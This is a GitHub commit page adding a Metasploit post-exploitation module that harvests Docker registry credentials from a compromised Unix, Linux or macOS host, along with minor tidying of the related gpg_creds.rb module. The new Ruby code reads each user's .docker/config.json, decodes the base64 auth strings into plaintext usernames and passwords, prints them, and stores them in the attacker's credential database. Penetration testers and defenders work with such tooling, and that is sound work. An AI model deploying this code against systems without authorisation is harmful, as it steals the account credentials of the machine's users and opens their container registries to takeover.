Skip to content

Commit a992a3c

Browse files
committed
Land rapid7#8774, Post module for gather Docker credentials
2 parents 3034930 + abaf80f commit a992a3c

File tree

2 files changed

+95
-2
lines changed

2 files changed

+95
-2
lines changed
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'json'
7+
8+
class MetasploitModule < Msf::Post
9+
include Msf::Post::File
10+
include Msf::Post::Unix
11+
12+
def initialize(info={})
13+
super( update_info(info,
14+
'Name' => 'Multi Gather Docker Credentials Collection',
15+
'Description' => %q{
16+
This module will collect the contents of all users' .docker directories on the targeted
17+
machine. If the user has already push to docker hub, chances are that the password was
18+
saved in base64 (default behavior).
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => ['Flibustier'],
22+
'Platform' => %w{ bsd linux osx unix },
23+
'SessionTypes' => ['shell']
24+
))
25+
end
26+
27+
# This module is largely based on gpg_creds.rb.
28+
29+
def run
30+
print_status("Finding .docker directories")
31+
paths = enum_user_directories.map {|d| d + "/.docker"}
32+
# Array#select! is only in 1.9
33+
paths = paths.select { |d| directory?(d) }
34+
35+
if paths.nil? || paths.empty?
36+
print_error("No users found with a .docker directory")
37+
return
38+
end
39+
40+
download_loot(paths)
41+
end
42+
43+
def download_loot(paths)
44+
print_status("Looting #{paths.count} directories")
45+
paths.each do |path|
46+
path.chomp!
47+
file = "config.json"
48+
target = "#{path}/#{file}"
49+
50+
if file? target
51+
print_status("Downloading #{target} -> #{file}")
52+
extract(target)
53+
end
54+
end
55+
end
56+
57+
def extract(target)
58+
file = read_file(target)
59+
parsed = JSON.parse(file)
60+
if parsed["auths"]
61+
parsed["auths"].each do |key, value|
62+
vprint_status("key: #{key}")
63+
value.each do |k,v|
64+
if k == "auth"
65+
plain = Rex::Text.decode_base64(v)
66+
if plain.include? ":"
67+
68+
print_good("Found #{plain}")
69+
username, password = plain.split(':')
70+
credential_data = {
71+
origin_type: :import,
72+
module_fullname: self.fullname,
73+
filename: target,
74+
workspace_id: myworkspace_id,
75+
service_name: 'docker',
76+
realm_value: key,
77+
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
78+
private_type: :password,
79+
private_data: password,
80+
username: username
81+
}
82+
create_credential(credential_data)
83+
84+
print_good("Saved credentials")
85+
end
86+
end
87+
end
88+
end
89+
else
90+
print_status("No credentials found in config file")
91+
end
92+
end
93+
end

modules/post/multi/gather/gpg_creds.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def run
2929
# Array#select! is only in 1.9
3030
paths = paths.select { |d| directory?(d) }
3131

32-
if paths.nil? or paths.empty?
32+
if paths.nil? || paths.empty?
3333
print_error("No users found with a .gnupg directory")
3434
return
3535
end
@@ -49,7 +49,7 @@ def download_loot(paths)
4949
if directory?(target)
5050
next
5151
end
52-
print_status("Downloading #{path}#{sep}#{file} -> #{file}")
52+
print_status("Downloading #{target} -> #{file}")
5353
data = read_file(target)
5454
file = file.split(sep).last
5555
type = file.gsub(/\.gpg.*/, "").gsub(/gpg\./, "")

0 commit comments

Comments
 (0)